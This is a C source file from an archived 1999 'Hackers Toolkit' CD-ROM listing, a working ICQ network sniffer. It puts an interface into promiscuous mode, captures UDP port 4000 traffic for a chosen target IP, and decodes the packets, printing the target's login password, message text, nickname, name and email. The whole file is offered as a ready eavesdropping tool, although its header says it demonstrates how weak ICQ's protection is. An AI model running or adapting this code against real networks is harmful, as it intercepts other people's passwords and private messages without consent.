home *** CD-ROM | disk | FTP | other *** search
/ Hackers Toolkit v2.0 / Hackers_Toolkit_v2.0.iso / HTML / archive / ICQ / unix / icq.c < prev    next >
C/C++ Source or Header  |  1999-11-04  |  6KB  |  366 lines

  1. */
  2. /*
  3. * Snoop ICQ traffic for a set host. Shows how simplistic ICQ is and
  4. * how easy it is to snoop it.
  5. * Download from http://www.uha1.com
  6. */
  7.  
  8. #include <stdio.h>
  9. #include <string.h>
  10. #include <stdlib.h>
  11. #include <signal.h>
  12. #include <ctype.h>
  13. #include <sys/socket.h>
  14. #include <net/if.h>
  15. #include <net/if_arp.h>
  16. #include <netinet/in.h>
  17. #include <linux/ip.h>
  18. #include <linux/udp.h>
  19.  
  20. /*
  21. * PUT THE IP ADDRESS OF THE CLIENT TO SNOOP HERE OR IT WONT WORK
  22. */
  23.  
  24. #define MY_CLIENT_TO_WATCH 0x7F000001
  25.  
  26. static int create_socket(void)
  27. {
  28. int s=socket(AF_INET, SOCK_PACKET, htons(ETH_P_ALL));
  29. if(s==-1)
  30. {
  31. perror("socket");
  32. exit(1);
  33. }
  34. return s;
  35. }
  36.  
  37. static void close_socket(int s)
  38. {
  39. close(s);
  40. }
  41.  
  42. static void promiscuous(int s, char *iface, int onoff)
  43. {
  44. struct ifreq ifr;
  45. strcpy(ifr.ifr_name, iface);
  46.  
  47. if(ioctl(s, SIOCGIFFLAGS, &ifr)==-1)
  48. {
  49. perror("SIOCGIFFLAGS");
  50. exit(1);
  51. }
  52.  
  53. strcpy(ifr.ifr_name, iface);
  54. if(onoff)
  55. ifr.ifr_flags|=IFF_PROMISC;
  56. else
  57. ifr.ifr_flags&=~IFF_PROMISC;
  58. if(ioctl(s, SIOCSIFFLAGS, &ifr)==-1)
  59. {
  60. perror("SIOCSIFFLAGS");
  61. exit(1);
  62. }
  63. }
  64.  
  65. static __inline__ ip_p(unsigned char *packet, int len)
  66. {
  67. if(packet[12]==0x08 && packet[13]==0x00)
  68. return 1;
  69. return 0;
  70. }
  71.  
  72. struct icqhdr
  73. {
  74. unsigned char version[2] __attribute((packed)); /* ?? */
  75. unsigned short command __attribute((packed));
  76. unsigned short sequence __attribute((packed));
  77. unsigned long uid __attribute((packed));
  78. unsigned char data[0];
  79. };
  80.  
  81. struct icqack
  82. {
  83. unsigned char version[2] __attribute((packed)); /* ?? */
  84. unsigned short result __attribute((packed));
  85. unsigned short sequence __attribute((packed));
  86. unsigned char data[0];
  87. };
  88.  
  89. struct icqstring
  90. {
  91. unsigned short len;
  92. char data[0];
  93. };
  94.  
  95. struct icqlogin
  96. {
  97. struct icqhdr hdr __attribute((packed));
  98. unsigned long dunno __attribute((packed)); /* 000006FE.L */
  99. unsigned short pw_len __attribute((packed));
  100. unsigned char pw_data[11] __attribute((packed));
  101. struct in_addr addr __attribute((packed));
  102. /* Rest is a mystery right now */
  103. /* 0.L */
  104. /* 2.L */
  105. /* 0000004C, 00000000 */
  106. /* 00 78 */
  107. };
  108.  
  109. static void print_icq_string(struct icqstring *s)
  110. {
  111. fwrite(s->data, s->len-1, 1, stdout);
  112. }
  113.  
  114. /*
  115. * Scan a packet for clues
  116. */
  117.  
  118. static int process_packet(struct sockaddr *sa, unsigned char *packet, int len)
  119. {
  120. int i;
  121. int lv;
  122. int d=0;
  123. static long num=0;
  124. struct iphdr *iph;
  125. struct udphdr *udphdr;
  126. if(strcmp(sa->sa_data,"eth0"))
  127. return 0; /* Wrong port */
  128. if(!ip_p(packet, len))
  129. return 0;
  130.  
  131. iph=(struct iphdr *)(packet+14);
  132. udphdr=(struct udphdr *)(iph+1);
  133. /* assume no options */
  134.  
  135. lv=ntohs(udphdr->len);
  136.  
  137. if( udphdr->source !=htons(4000) && udphdr->dest!=htons(4000))
  138. {
  139. return 0;
  140. }
  141.  
  142. /* printf("packet %d \r", ++num);*/
  143.  
  144. if(iph->saddr==htonl(MY_CLIENT_TO_WATCH))
  145. {
  146. printf("To Server: %d bytes\n", lv);
  147. }
  148. else if(iph->daddr==htonl(MY_CLIENT_TO_WATCH))
  149. {
  150. printf("From Server: %d bytes\n", lv);
  151. d=1;
  152. }
  153. else return 0;
  154.  
  155. i=14+sizeof(struct iphdr);
  156. if(len-i>lv)
  157. len=i+lv;
  158.  
  159. i+=sizeof(struct udphdr);
  160.  
  161. /* printf("UDP size %d\n",i);*/
  162. if(i>=sizeof(struct icqhdr)+sizeof(struct udphdr))
  163. {
  164. struct icqhdr *p=(struct icqhdr *)(udphdr+1);
  165. if(d==0)
  166. {
  167. printf("From %ld\n",p->uid);
  168. printf("Version: %d.%d\nCommand ",
  169. p->version[1], p->version[0]);
  170. switch(p->command)
  171. {
  172. case 0x000A:
  173. printf("Ack");
  174. break;
  175. case 0x03E8:
  176. {
  177. struct icqlogin *il=(struct icqlogin *)p;
  178. printf("Login Password ");
  179. print_icq_string((struct icqstring *)&il->pw_len);
  180. printf(" IP %s", inet_ntoa(il->addr));
  181. break;
  182. }
  183. #if 0
  184. case 0x0x??
  185. {
  186. struct in_addr v=*(struct in_addr *)p->data;
  187. printf("Ping %s", inet_ntoa(v));
  188. break;
  189. }
  190. #endif
  191. case 0x409:
  192. {
  193. printf("Ping");
  194. break;
  195. }
  196. case 0x0438:
  197. {
  198. struct icqstring *s=(struct icqstring *)p->data;
  199. printf("Disconnect (");
  200. print_icq_string(s);
  201. printf(")");
  202. break;
  203. }
  204. case 0x0456:
  205. {
  206. /* data +4,5 is always 0100 */
  207. struct icqstring *s=(struct icqstring *)(p->data+6);
  208. printf("Message to %ld ", *((long *)p->data));
  209. print_icq_string(s);
  210. break;
  211. }
  212. case 0x0460:
  213. {
  214. printf("Information %ld on ID %d",
  215. *((short *)p->data),
  216. *((long *)(p->data+2))
  217. );
  218. break;
  219. }
  220. case 0x046A:
  221. {
  222. printf("Information_2 %ld on ID %d",
  223. *((short *)p->data),
  224. *((long *)(p->data+2))
  225. );
  226. break;
  227. }
  228. case 0x04D8:
  229. {
  230. printf("Status ");
  231. switch(*((long *)p->data))
  232. {
  233. case 0x00:
  234. printf("[Away 0]");
  235. break;
  236. case 0x01:
  237. printf("[Away 1]");
  238. break;
  239. case 0x10:
  240. printf("[DND 0]");
  241. break;
  242. case 0x11:
  243. printf("[DND 1]");
  244. break;
  245. default:
  246. printf("%04X",
  247. *((long *)p->data));
  248. }
  249.  
  250. break;
  251. }
  252. default:
  253. printf("%04X", p->command);
  254. }
  255. if(p->sequence)
  256. printf("\nSequence %d\n",
  257. p->sequence);
  258. else
  259. printf("\n");
  260. }
  261. }
  262. if(i>=sizeof(struct icqack)+sizeof(struct udphdr))
  263. {
  264. struct icqack *p=(struct icqack *)(udphdr+1);
  265. if(d==1)
  266. {
  267. printf("Version: %d.%d\nReply ",
  268. p->version[1], p->version[0]);
  269. switch(p->result)
  270. {
  271. case 0x000A:
  272. printf("Ack");
  273. break;
  274.  
  275. case 0x00E6:
  276. printf("Away Reply ");
  277. printf("for %ld",
  278. *((long *)p->data));
  279. break;
  280.  
  281. case 0x0118:
  282. {
  283. struct icqstring *is;
  284. printf("InfoID %d\n",
  285. *((short *)p->data));
  286. printf("ICQ ID %ld\n",
  287. *((long *)p->data+2));
  288. is=(struct icqstring *)(p->data+6);
  289. printf("Nick ");
  290. print_icq_string(is);
  291. is=(struct icqstring *)(((char *)is)+is->len+2);
  292. printf("\nName ");
  293. print_icq_string(is);
  294. is=(struct icqstring *)(((char *)is)+is->len+2);
  295. printf(" ");
  296. print_icq_string(is);
  297. is=(struct icqstring *)(((char *)is)+is->len+2);
  298. printf("\nEMail ");
  299. print_icq_string(is);
  300. is=(struct icqstring *)(((char *)is)+is->len+2);
  301. printf("\nInfo ");
  302. print_icq_string(is);
  303. break;
  304. }
  305. default:
  306. printf("%04X", p->result);
  307. }
  308. if(p->sequence)
  309. printf("\nSequence %d\n",
  310. p->sequence);
  311. else
  312. printf("\n");
  313. }
  314. }
  315.  
  316. while(i<len)
  317. {
  318. int x;
  319. for(x=0; x<8 && i+x<len; x++)
  320. {
  321. printf("%02X ", packet[i+x]);
  322. }
  323. printf(" ");
  324. for(x=0;x<8 && i+x<len; x++)
  325. {
  326. unsigned char c=packet[i+x];
  327. if(c>=32 && c< 127)
  328. printf("%c", c);
  329. else
  330. printf(".");
  331. }
  332. printf("\n");
  333. i+=8;
  334. }
  335. printf("\n");
  336. fflush(stdout);
  337. return 0;
  338. }
  339.  
  340. int main(int argc, char *argv[])
  341. {
  342. int s;
  343. unsigned char buf[1600];
  344. struct sockaddr sa;
  345. int salen;
  346. int len;
  347.  
  348. s=create_socket();
  349. promiscuous(s, "eth0", 1);
  350.  
  351. while(1)
  352. {
  353. salen=sizeof(sa);
  354. if((len=recvfrom(s, (char *)buf, 1600, 0, &sa, &salen))==-1)
  355. {
  356. perror("recvfrom");
  357. close_socket(s);
  358. exit(1);
  359. }
  360. process_packet(&sa, buf,len);
  361. }
  362. printf("An error has occured.\n");
  363. close_socket(s);
  364. exit(0);
  365. }
  366.